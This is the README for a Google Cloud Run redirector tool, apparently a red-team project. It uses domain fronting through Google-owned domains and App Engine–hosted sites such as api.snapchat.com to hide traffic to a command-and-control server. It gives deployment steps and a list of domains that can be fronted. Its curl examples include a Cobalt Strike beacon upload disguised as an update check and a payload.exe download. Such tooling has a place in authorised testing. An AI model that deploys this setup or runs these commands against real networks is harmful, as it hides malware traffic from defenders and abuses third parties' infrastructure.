A lightweight HTTP/HTTPS redirector designed for Google Cloud Run that exploits remaining domain fronting capabilities in Google's infrastructure. While Google has patched domain fronting on their CDN product for customer infrastructure, it still works against certain Google-owned infrastructure and third-party sites hosted on Google App Engine (like api.snapchat.com). This tool leverages these remaining vectors to obscure traffic destinations, including through Google services like Meet and Chrome update infrastructure.
- π Google Cloud Redirector
Domain fronting leverages the fact that many CDNs and cloud providers route traffic based on the HTTP Host header rather than the domain used for the initial TLS connection. While Google has fixed domain fronting on their CDN product for customer infrastructure, this redirector exploits the fact that it still works against certain Google-owned infrastructure and third-party services hosted on Google App Engine.
This means you can still use domain fronting through:
- Select Google-owned domains and services
- Third-party sites hosted on Google App Engine (e.g., api.snapchat.com)
- Other Google infrastructure where Host header routing remains functional
1. Client connects to google.com or api.snapchat.com (TLS handshake)
2. Client sends Host header: your-redirector.us-central1.run.app
3. Google infrastructure routes to your Cloud Run service
4. Your redirector forwards to your backend server
Traffic Flow:
Client β google.com/appengine site β GCP Infrastructure β Cloud Run Redirector β Backend Server
(TLS Domain) (Routes by Host header)
- Google Cloud SDK installed and authenticated
- Docker installed
- Active GCP project with billing enabled
- Go 1.21+ (optional, for local development)
# Clone the repository
git clone https://github.com/praetorian-inc/google-redirector
cd google-redirector
# Configure your GCP project
gcloud config set project YOUR-PROJECT-ID
-
Set your backend URL (where traffic should be forwarded):
export BACKEND_URL=https://your-c2-server.com
-
Deploy the redirector:
./deploy.sh my-redirector
-
Save your redirector URL (output from deploy script):
Your redirector URL: redirector-my-redirector-abc123xyz.us-central1.run.app
If you forgot your redirector URL:
gcloud run services describe redirector-my-redirector --region us-central1 --format 'value(status.url)'
Once deployed, you can use domain fronting to access your redirector through Google domains:
# Basic GET request
curl -H "Host: redirector-my-redirector-abc123xyz.us-central1.run.app" \
https://www.google.com/api/data
# POST request with data
curl -X POST \
-H "Host: redirector-my-redirector-abc123xyz.us-central1.run.app" \
-H "Content-Type: application/json" \
-d '{"user":"test","pass":"123"}' \
https://client2.google.com/login
# Custom headers
curl -H "Host: redirector-my-redirector-abc123xyz.us-central1.run.app" \
-H "X-Custom-Header: value" \
-H "User-Agent: Mozilla/5.0" \
https://storage.googleapis.com/path/to/resource
The following domains can be used for domain fronting with Google Cloud infrastructure:
Google-Owned Domains:
www.google.com
- General purpose frontingclient2.google.com
- Software update endpointsstorage.googleapis.com
- Cloud storage servicesaccounts.google.com
- Authentication servicesapis.google.com
- API service endpointsyoutube.com
- Video platformdl.google.com
- Download servicesplay.google.com
- Play Store servicesmeet.google.com
- Video conferencing platform*.googleapis.com
- Various Google API endpoints
App Engine Hosted Services (*.appspot.com):
api.snapchat.com
βfeelinsonice-hrd.appspot.com
- Other third-party services that resolve to
*.appspot.com
Note: You can identify App Engine hosted services by checking if they have CNAMEs pointing to *.appspot.com
. These services are particularly useful for domain fronting as they route through Google's App Engine infrastructure.
C2 Beacon Example:
# Cobalt Strike HTTP beacon through domain fronting
curl -X POST \
-H "Host: redirector-c2-abc123xyz.us-central1.run.app" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)" \
-H "Content-Type: application/octet-stream" \
--data-binary @beacon.bin \
https://client2.google.com/updates/check
Using App Engine Hosted Sites:
# Through Snapchat's API (hosted on App Engine)
curl -H "Host: redirector-api-abc123xyz.us-central1.run.app" \
-H "User-Agent: Snapchat/11.0.0 (iPhone; iOS 14.0)" \
https://api.snapchat.com/v1/updates
File Download Example:
# Download file through domain fronting
curl -H "Host: redirector-files-abc123xyz.us-central1.run.app" \
-o payload.exe \
https://dl.google.com/software/update.exe
Persistent Connection Example:
# WebSocket-like persistent connection
curl -H "Host: redirector-stream-abc123xyz.us-central1.run.app" \
-H "Connection: keep-alive" \
-N https://apis.google.com/stream
Feature | Description | Benefit |
---|---|---|
π Domain Fronting | Route through Google domains | Bypass network filters |
π Full HTTP Proxy | Supports all HTTP methods | Complete protocol support |
π Request Preservation | Forwards headers, body, params | Transparent proxying |
π Auto-scaling | Google Cloud Run serverless | Handles traffic spikes |
π TLS Passthrough | Works with self-signed certs | Flexible backend support |
β‘ Low Latency | Minimal Go binary | Fast request processing |
π³ Containerized | Docker-based deployment | Easy management |
βββββββββββββββββββ
β Client β
ββββββββββ¬βββββββββ
β HTTPS (TLS: google.com)
β Host: your-redirector.run.app
ββββββββββΌβββββββββ
β Google Edge β
β (CDN/LB) β
ββββββββββ¬βββββββββ
β Routes by Host header
ββββββββββΌβββββββββ
β Cloud Run β
β (Redirector) β
ββββββββββ¬βββββββββ
β HTTPS
ββββββββββΌβββββββββ
β Backend Server β
β (C2/API) β
βββββββββββββββββββ
# List all your redirectors
gcloud run services list --region us-central1 --filter="metadata.name:redirector-"
# Get details for specific redirector
gcloud run services describe redirector-my-redirector --region us-central1
# Real-time logs
gcloud run services logs tail redirector-my-redirector --region us-central1
# Search logs
gcloud logging read "resource.type=cloud_run_revision AND resource.labels.service_name=redirector-my-redirector" --limit 50
# Remove a specific redirector
./uninstall.sh my-redirector
# Remove all redirectors (be careful!)
for name in $(gcloud run services list --region us-central1 --filter="metadata.name:redirector-" --format="value(metadata.name)" | sed 's/redirector-//'); do
./uninstall.sh $name
done
The uninstall script will:
- Delete the Cloud Run service
- Delete the container image from Artifact Registry
- Keep the shared Artifact Registry repository (used by all redirectors)
To see what will be deleted:
gcloud run services describe redirector-my-redirector --region us-central1
# Test locally with httpbin
export BACKEND_URL=https://httpbin.org
go run main.go
# In another terminal
curl -H "Host: redirector-test.run.app" http://localhost:8080/get
Test Script:
#!/bin/bash
REDIRECTOR_URL="redirector-my-redirector-abc123xyz.us-central1.run.app"
# Test various Google domains
for domain in www.google.com client2.google.com storage.googleapis.com; do
echo "Testing $domain..."
curl -s -o /dev/null -w "%{http_code} - %{time_total}s\n" \
-H "Host: $REDIRECTOR_URL" \
https://$domain/test
done
Verify Headers Are Forwarded:
# Your backend should receive all original headers
curl -H "Host: redirector-test-abc123xyz.us-central1.run.app" \
-H "X-Original-Header: test-value" \
-v https://client2.google.com/headers
Variable | Description | Required | Example |
---|---|---|---|
BACKEND_URL |
Your backend server URL | β | https://c2.mydomain.com |
PORT |
Listen port (auto-set by Cloud Run) | β | 8080 |
Configured in deploy.sh
:
- Region: us-central1 (change for different regions)
- Memory: 512Mi (increase for high traffic)
- CPU: 1 vCPU
- Concurrency: 100 requests per instance
- Min Instances: 0 (cold start possible)
- Max Instances: 10 (adjustable)
Edit deploy.sh
to modify deployment parameters:
# Change region (may affect domain fronting compatibility)
--region us-east1
# Increase resources for high traffic
--memory 2Gi --cpu 2
# Always keep warm instance
--min-instances 1
This project is licensed under the Apache License 2.0 - see the LICENSE file for details.
Made with β€οΈ by Praetorian